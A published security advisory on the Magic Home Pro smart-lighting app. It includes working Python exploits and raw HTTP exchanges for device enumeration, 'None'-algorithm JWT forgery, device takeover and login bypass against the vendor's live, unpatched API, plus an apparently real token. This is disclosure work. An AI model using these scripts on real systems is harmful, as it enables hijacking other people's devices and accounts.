Trustwave SpiderLabs Security Advisory TWSL2020-010: Multiple Vulnerabilities in Magic Home Pro Mobile Application Published: 12/15/2020 Version: Build (1.5.1) Vendor: Magic Home Pro (https://play.google.com/store/apps/details?id=com.zengge.wifi&hl=en) Product: JadeHomic (https://www.amazon.com.au/s?me=A4PYNSFB834M3&marketplaceID=A39IBJ37TRP1C6) Version affected: Build 1.5.1 Product description: This app is a controller for smart led lighting. What product does this app support? 1,Wi-Fi RGBW led bulb: It has ON/OFF,colors,dimming,timer,fade.jump,music and remotely control function etc; 2,Wi-Fi RGBW led downlight: It has ON/OFF,dimmer,timer and remotely control function etc; 3,Wi-Fi RGBCW led controller. It has ON/OFF,colors,dimming,timer,fade.jump,music and remotely control function etc; Finding 1: Information Disclosure/Unauthorized Access/Horizontal Privilege Escalation *****Credit: Victor Hanna of Trustwave CVE: N/A CWE: CWE-269: Improper Privilege Management The vulnerability discovered in the Magic Home Pro Mobile Application is used to interface with the JadeHomic LED Strip RGB Kit. It allows for unauthorized access and control of a remote endpoint, by an authenticated user, not under control of that user. Additionally, this allows for an unauthorized enumeration of a remote endpoint(s) and batch sending of commands to the remote endpoint. Example: Infomation Disclosure This vulnerability allows for any authenticated user to utilise their current authorization level to interrogate end points not apart of their registered products, using an API call to /app/getBindedUserListByMacAddress/ZG001?macAddress=. This results in a HTTP response that indicates the existence of the endpoint and returns the Username, User Unique Identifier (userUniID) and the Binded Unique ID (bindedUniID) of the associated endpoint. Unauthorized Access and Horizontal Privilege Escalation Using the above interrogation, an attacker is then able to utilise an unauthorized POST request to API /app/sendCommandBatch/ZG001, using the newly enumerated mac address to send commands to the remote endpoint using compatible hex commands 71230fa3 and 71240fa4 resulting in ON and OFF respectively. The proof of concept enumerates on the last bytes within the MAC range and returns findings. It allows a test of the 'remote execute'. ## lightitup.py import requests import json import os from colorama import init from colorama import Fore, Back, Style import re ''' 1. First Stage Authentication 2. Second Stage Enumerate 3. Third Stage Remote Execute ''' global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token def turnOn(target, token): urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71230fa3","macAddress":target} ] } data = json.dumps(array) headersOn = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOn, data=data, headers=headersOn) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def turnOff(target, token): urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001" array = { "dataCommandItems":[ {"hexData":"71240fa4","macAddress":target} ] } data = json.dumps(array) headersOff = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } print (Fore.WHITE + "[+] Sending Payload ...") response = requests.post(urlOff, data=data, headers=headersOff) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off") else: print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}") def lighItUp(target, token): outtahere = "" q = "q" if len(str(target)) < 12: print (Fore.RED + "[!] Invalid target" + Style.RESET_ALL) elif re.match('[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}[0-9a-f]{2}$', target.lower()): while outtahere.lower() != q.lower(): if outtahere == "0": turnOn(target, token) elif outtahere == "1": turnOff(target, token) outtahere = input(Fore.BLUE + "ON/OFF/QUIT ? (0/1/Q): " + Style.RESET_ALL) def Main(): urlAuth = "https://wifij01us.magichue.net/app/login/ZG001" data = { "userID":"", "password":"", "clientID":"" } headersAuth = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } # First Stage Authenticate os.system('clear') print (Fore.WHITE + "[+] Authenticating ...") response = requests.post(urlAuth, json=data, headers=headersAuth) resJsonAuth = response.json() token = (resJsonAuth['token']) # Second Stage Enumerate print (Fore.WHITE + "[+] Enumerating ...") macbase = "C82E475DCE" macaddress = [] a = ["%02d" % x for x in range(100)] for num in a: macaddress.append(macbase+num) with open('loot.txt', 'w') as f: for mac in macaddress: urlEnum = "https://wifij01us.magichue.net/app/getBindedUserListByMacAddress/ZG001" params = { "macAddress":mac } headersEnum = { "User-Agent": "Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Content-Type": "application/json; charset=utf-8", "Accept": "application/json", "token": token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.get(urlEnum, params=params, headers=headersEnum) resJsonEnum = response.json() data = (resJsonEnum['data']) if not data: pass elif data: found_macaddresses.append(mac) print (Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}") f.write(Fore.GREEN + "[*] MAC Address Identified: " + Style.RESET_ALL + f"{mac}" + Fore.GREEN + f", User: " + Style.RESET_ALL + f"{(data[0]['userName'])}, " + Fore.GREEN + "Unique ID: " + Style.RESET_ALL + f"{data[0]['userUniID']}, " + Fore.GREEN + "Binded ID: " + Style.RESET_ALL + f"{data[0]['bindedUniID']}\n") else: print (Fore.RED + "[-] No results found!") print(Style.RESET_ALL) if not found_macaddresses: print (Fore.RED + "[-] No MAC addresses retrieved") elif found_macaddresses: attackboolean = input(Fore.BLUE + "Would you like to Light It Up ? (y/N): " + Style.RESET_ALL) if (attackboolean.upper() == 'Y'): target = input(Fore.RED + "Enter a target device mac address: " + Style.RESET_ALL) lighItUp(target, token) elif (attackboolean.upper() == 'N'): print (Fore.CYAN + "Sometimes, belief isn’t about what we can see. It’s about what we can’t."+ Style.RESET_ALL) else: print (Fore.CYAN + "The human eye is a wonderful device. With a little effort, it can fail to see even the most glaring injustice." + Style.RESET_ALL) if __name__ == "__main__": Main() PoC HTTP Request/Response to Endpoint The first snippet utilises an authenticated user and associated token to first enumerate devices not under control of the authenticated user and essentially brute force for valid endpoints based on mac address. - Get Request (utilising attacker authentication token) to query api endpoint /app/getBindedUserListByMacAddress/ZG001?macAddress= Request GET /app/getBindedUserListByMacAddress/ZG001?macAddress=C82E HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Content-Type: application/json Accept: application/json token: Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate - Corresponding Response, which discloses userName, userUniID and bindedUniID within JSON response data Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Tue, 07 Jul 2020 03:04:59 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 176 {"code":0,"msg":"","data":[{"bindedUniID":"","userUniID":"","userName":"@hotmail.com"}]} - Using the new found knowledge, we are now able to send through batch commands to found endpoint using the mac address previously disclosed (utilising an a attackers authentication token). These batch commands correspond to a switching on and off of the device. - POST Request POST /app/sendCommandBatch/ZG001 HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Accept: application/json Content-Type: application/json; charset=utf-8 token: eyJ0eXAiOiJKc29uV2ViVG9rZW4iLCJhbGciOiJIUzUxMiJ9.eyJ1c2VySUQiOiJ2aWlrNTE1MEBnbWFpbC5jb20iLCJ1bmlJRCI6ImU4YWM1MjYzLWJmNjUtMTFlYS1iNmZjLTAwMTYzZTAwYmE4YSIsImNkcGlkIjoiWkcwMDEiLCJjbGllbnRJRCI6IiIsInNlcnZlckNvZGUiOiJVUyIsImV4cGlyZURhdGUiOjE2MDk1OTEzMDU2NjksInJlZnJlc2hEYXRlIjoxNjA0NDA3MzA1NjY5LCJsb2dpbkRhdGUiOjE1OTQwMzkzMDU2Njl9.5UrJ68LygZ8F5R3RdUWyZfvAZQY_nQm2sUj0Fvh72o8RaquzgpxXcibsUM_jfkunfR--a2uAqWkcG10ZhCT6eQ Content-Length: 73 Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate {"dataCommandItems":[{"hexData":"71230fa3","macAddress":"C82E"}]} - Resulting response, which indicates sucessful batch command HTTP/1.1 200 Server: nginx/1.10.3 Date: Tue, 07 Jul 2020 03:02:23 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 31 {"code":0,"msg":"","data":true} Finding 2: Json Web Token is susceptible to forgery and signature bypass *****Credit: Victor Hanna of Trustwave CVE: N/A CWE: CWE-863: Incorrect Authorization After initial enumeration is complete, it is also possible to forge a JWT using the userID and uniID within the JWT payload data, in effect downgrading the token to use 'None' as the algorithm in the JWT header section (signature-bypass vulnerability). Using this vulnerability the application is susceptible to device takeover by an attacker through use of the remote API call to /app/shareDevice/ZG001 and utilising the friendUserID JSON parameter to add the device to the attackers device list, giving the attacker full control of the endpoint device. PoC token forger Using the userID and uniqID obtained upon successful enumeration. This PoC token forger, generates a new signed bypassed JWT #!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re def Usage(): print (f"Usage: {sys.argv[0]} ") def Main(user, uniqid): os.system('clear') print ("Encoding ...") jwt_header = '{"typ": "JsonWebToken","alg": "None"}' jwt_data = '{"userID": "'+user+'", "uniID": "'+uniqid+'","cdpid": "ZG001","clientID": "","serverCode": "US","expireDate": 1609591305669,"refreshDate": 1604407305669,"loginDate": 1594039305669}' jwt_headerEncoded = url64.encode(jwt_header.strip()) jwt_dataEncoded = url64.encode(jwt_data.strip()) print (jwt_headerEncoded.strip()+"."+jwt_dataEncoded.strip()+".") if __name__ == "__main__": if len(sys.argv) < 3: Usage() else: Main(sys.argv[1], sys.argv[2]) PoC device take over exploit Exploit to take over device which uses the attacker email (A registered account that will be used to takeover target account), target email (The account to be taken over), target mac address (associated to target email address) and forged token. #!/usr/local/bin/python3 import url64 import requests import json import sys import os from colorama import init from colorama import Fore, Back, Style import re def Usage(): print (f"Usage: {sys.argv[0]} ") def Main(): attacker_email = sys.argv[1] target_email = sys.argv[2] target_mac = sys.argv[3] forged_token = sys.argv[4] os.system('clear') print (Fore.WHITE + "[+] Sending Payload ...") url = "https://wifij01us.magichue.net/app/shareDevice/ZG001" array = {"friendUserID":attacker_email, "macAddress":target_mac} data = json.dumps(array) headers = { "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)", "Accept-Language": "en-US", "Accept": "application/json", "Content-Type": "application/json; charset=utf-8", "token":forged_token, "Host": "wifij01us.magichue.net", "Connection": "close", "Accept-Encoding": "gzip, deflate" } response = requests.post(url, data=data, headers=headers) if response.status_code == 200: if "true" in response.text: print (Fore.GREEN + "[*] Target is now yours ... " + Style.RESET_ALL) else: print (Fore.RED + "[-] Failed to take over target !" + Style.RESET_ALL) if __name__ == "__main__": if len(sys.argv) < 5: Usage() else: Main() Example successful POST request/response exchange POST Request POST /app/shareDevice/ZG001 HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Accept: application/json token: Content-Type: application/json; charset=utf-8 Content-Length: 72 Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate {"friendUserID":"","macAddress":""} Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Tue, 07 Jul 2020 05:31:33 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 31 {"code":0,"msg":"","data":true} Finding 3: Authentication Bypass *****Credit: Victor Hanna of Trustwave CVE: CVE-22020-27199 CWE: CWE-288 Utilising the JSON token forgery coupled with the gleaned information i.e. the Victim Email, ClientID and UniqID, it is possible to bypass the Mobile App authentication process through manipulating the HTTP response and thus gaining access to the Application as the victim. The Attacker uses the Magic Home Pro application utilising a victim email address, arbitrary password and clientID. Then the attacker manipulate the HTTP response using the details in step 1 which allows for the bypass to take place. PoC HTTP Request/Response to Endpoint Original HTTP Login Request via Magic Home Pro Mobile app POST /app/login/ZG001 HTTP/1.1 User-Agent: Magic Home/1.5.1(ANDROID,9,en-US) Accept-Language: en-US Accept: application/json token: Content-Type: application/json; charset=utf-8 Content-Length: 117 Host: wifij01us.magichue.net Connection: close Accept-Encoding: gzip, deflate {"userID":"","password":"","clientID":""} Original HTTP Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Thu, 08 Oct 2020 00:08:45 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 37 {"code":10033,"msg":"Password error"} Edited HTTP Response HTTP/1.1 200 Server: nginx/1.10.3 Date: Mon, 06 Jul 2020 12:32:02 GMT Content-Type: application/json;charset=UTF-8 Connection: close Content-Length: 907 {"code":0,"msg":"","data":{"webApi":"wifij01us.magichue.net/app","webPathOta":"http://wifij01us.magichue.net/app/ota/download","tcpServerController":"TCP,8816,ra8816us02.magichue.net","tcpServerBulb":"TCP,8815,ra8815us02.magichue.net","tcpServerControllerOld":"TCP,8806,mhc8806us.magichue.net","tcpServerBulbOld":"TCP,8805,mhb8805us.magichue.net","sslMqttServer":"ssl://192.168.0.112:1883","serverName":"Global","serverCode":"US","userName":"","userEmail":"","userUniID":""},"token":""} Remediation Steps: No patch currently exists for this issue. To limit exposure, network access to these devices should be limited to authorized personnel through the use of Access Control Lists and proper network segmentation. Revision History: 07/06/2020 - Attempted to contact the vendor 07/14/2020 - Attempted to contact the vendor 07/23/2020 - Attempted to contact the vendor 08/06/2020 - Attempted to contact the vendor 12/15/2020 - Advisory published About Trustwave: Trustwave helps businesses fight cybercrime, protect data and reduce security risk. With cloud and managed security services, integrated technologies and a team of security experts, ethical hackers and researchers, Trustwave enables businesses to transform the way they manage their information security and compliance programs. More than three million businesses are enrolled in the Trustwave TrustKeeper® cloud platform, through which Trustwave delivers automated, efficient and cost-effective threat, vulnerability and compliance management. Trustwave is headquartered in Chicago, with customers in 96 countries. For more information about Trustwave, visit https://www.trustwave.com. About Trustwave SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.